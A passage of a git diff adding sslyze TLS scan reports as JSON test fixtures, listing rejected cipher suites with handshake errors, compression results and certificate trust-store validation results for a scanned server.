"TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "ECDHE-ECDSA-CAMELLIA128-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ECDHE-ECDSA-ARIA256-GCM-SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ECDHE-ECDSA-ARIA128-GCM-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDHE-ECDSA-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8", + "openssl_name": "ECDHE-ECDSA-AES256-CCM8" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM", + "openssl_name": "ECDHE-ECDSA-AES256-CCM" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDHE-ECDSA-AES256-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDHE-ECDSA-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8", + "openssl_name": "ECDHE-ECDSA-AES128-CCM8" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM", + "openssl_name": "ECDHE-ECDSA-AES128-CCM" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDHE-ECDSA-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_GCM_SHA384", + "openssl_name": "ADH-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA256", + "openssl_name": "ADH-AES256-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_GCM_SHA256", + "openssl_name": "ADH-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA256", + "openssl_name": "ADH-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "DH-RSA-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "DH-RSA-AES256-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "DH-RSA-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "DH-RSA-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_GCM_SHA384", + "openssl_name": "DH-DSS-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA256", + "openssl_name": "DH-DSS-AES256-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_GCM_SHA256", + "openssl_name": "DH-DSS-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA256", + "openssl_name": "DH-DSS-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "DHE-RSA-CHACHA20-POLY1305" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "DHE-RSA-ARIA256-GCM-SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "DHE-RSA-ARIA128-GCM-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "DHE-RSA-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CCM_8", + "openssl_name": "DHE-RSA-AES256-CCM8" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CCM", + "openssl_name": "DHE-RSA-AES256-CCM" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "DHE-RSA-AES256-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "DHE-RSA-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CCM_8", + "openssl_name": "DHE-RSA-AES128-CCM8" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CCM", + "openssl_name": "DHE-RSA-AES128-CCM" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "DHE-RSA-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DHE-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong SSL version" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "DHE-DSS-ARIA256-GCM-SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "DHE-DSS-ARIA128-GCM-SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384", + "openssl_name": "DHE-DSS-AES256-GCM-SHA384" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", + "openssl_name": "DHE-DSS-AES256-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256", + "openssl_name": "DHE-DSS-AES128-GCM-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256", + "openssl_name": "DHE-DSS-AES128-SHA256" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + } + ], + "tls_version_used": "TLS_1_2" + }, + "status": "COMPLETED" + }, + "tls_1_3_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_CHACHA20_POLY1305_SHA256", + "openssl_name": "TLS_CHACHA20_POLY1305_SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_AES_256_GCM_SHA384", + "openssl_name": "TLS_AES_256_GCM_SHA384" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_GCM_SHA256", + "openssl_name": "TLS_AES_128_GCM_SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_CCM_SHA256", + "openssl_name": "TLS_AES_128_CCM_SHA256" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_CCM_8_SHA256", + "openssl_name": "TLS_AES_128_CCM_8_SHA256" + }, + "error_message": "TLS alert: handshake failure" + } + ], + "tls_version_used": "TLS_1_3" + }, + "status": "COMPLETED" + }, + "tls_1_3_early_data": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "tls_compression": { + "error_reason": null, + "error_trace": null, + "result": { + "supports_compression": false + }, + "status": "COMPLETED" + }, + "tls_fallback_scsv": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + } + }, + "scan_status": "COMPLETED", + "server_location": { + "connection_type": "DIRECT", + "hostname": "10.10.10.10", + "http_proxy_settings": null, + "ip_address": "196.31.129.43", + "port": 443 + }, + "uuid": "9bbfaad7-b1f1-4002-b884-d735b57c45dd" + } + ], + "sslyze_url": "https://github.com/nabla-c0d3/sslyze", + "sslyze_version": "5.0.1" +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/sslyze/protocols.json b/src/backend/tests/data/reports/sslyze/protocols.json new file mode 100644 index 000000000..e2774e1c2 --- /dev/null +++ b/src/backend/tests/data/reports/sslyze/protocols.json @@ -0,0 +1,4414 @@ +{ + "date_scans_completed": "2022-02-18T15:24:00.134020", + "date_scans_started": "2022-02-18T15:23:41.246559", + "server_scan_results": [ + { + "connectivity_error_trace": null, + "connectivity_result": { + "cipher_suite_supported": "ECDHE-RSA-AES256-GCM-SHA384", + "client_auth_requirement": "DISABLED", + "highest_tls_version_supported": "TLS_1_2", + "supports_ecdh_key_exchange": true + }, + "connectivity_status": "COMPLETED", + "network_configuration": { + "network_max_retries": 3, + "network_timeout": 5, + "tls_client_auth_credentials": null, + "tls_opportunistic_encryption": null, + "tls_server_name_indication": "10.10.10.10", + "xmpp_to_hostname": null + }, + "scan_result": { + "certificate_info": { + "error_reason": null, + "error_trace": null, + "result": { + "certificate_deployments": [ + { + "leaf_certificate_has_must_staple_extension": false, + "leaf_certificate_is_ev": false, + "leaf_certificate_signed_certificate_timestamps_count": 0, + "leaf_certificate_subject_matches_hostname": false, + "ocsp_response": null, + "ocsp_response_is_trusted": null, + "path_validation_results": [ + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Android", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/google_aosp.pem", + "version": "12.0.0_r9" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Apple", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/apple.pem", + "version": "iOS 15, iPadOS 15, macOS 12, tvOS 15, and watchOS 8" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Java", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/oracle_java.pem", + "version": "jdk-13.0.2" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": [ + { + "dotted_string": "1.2.276.0.44.1.1.1.4", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.392.200091.100.721.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.40.0.17.1.22", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.616.1.113527.2.5.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.159.1.17.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.13177.10.1.3.10", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14370.1.6", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14777.6.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14777.6.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.14.2.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.14.2.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.8.12.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.8.12.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.22234.2.5.2.3.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.23223.1.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.29836.1.10", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.3", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.4", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.36305.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.40869.1.1.22.3", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.4146.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.4788.2.202.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.6334.1.100.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.6449.1.2.1.5.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.782.1.2.1.8.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.7879.13.24.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.8024.0.2.100.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.156.112554.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.528.1.1003.1.2.7", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.578.1.26.1.3.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.756.1.83.21.0", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.756.1.89.1.2.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.792.3.0.3.1.1.5", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.792.3.0.4.1.1.4", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.113733.1.7.23.6", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.113733.1.7.48.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114028.10.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114171.500.9", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114404.1.1.2.4.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114412.2.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114413.1.7.23.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114414.1.7.23.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114414.1.7.24.3", + "name": "Unknown OID" + } + ], + "name": "Mozilla", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/mozilla_nss.pem", + "version": "2021-12-19" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Windows", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/microsoft_windows.pem", + "version": "2021-11-28" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + } + ], + "received_certificate_chain": [ + { + "as_pem": "-----BEGIN 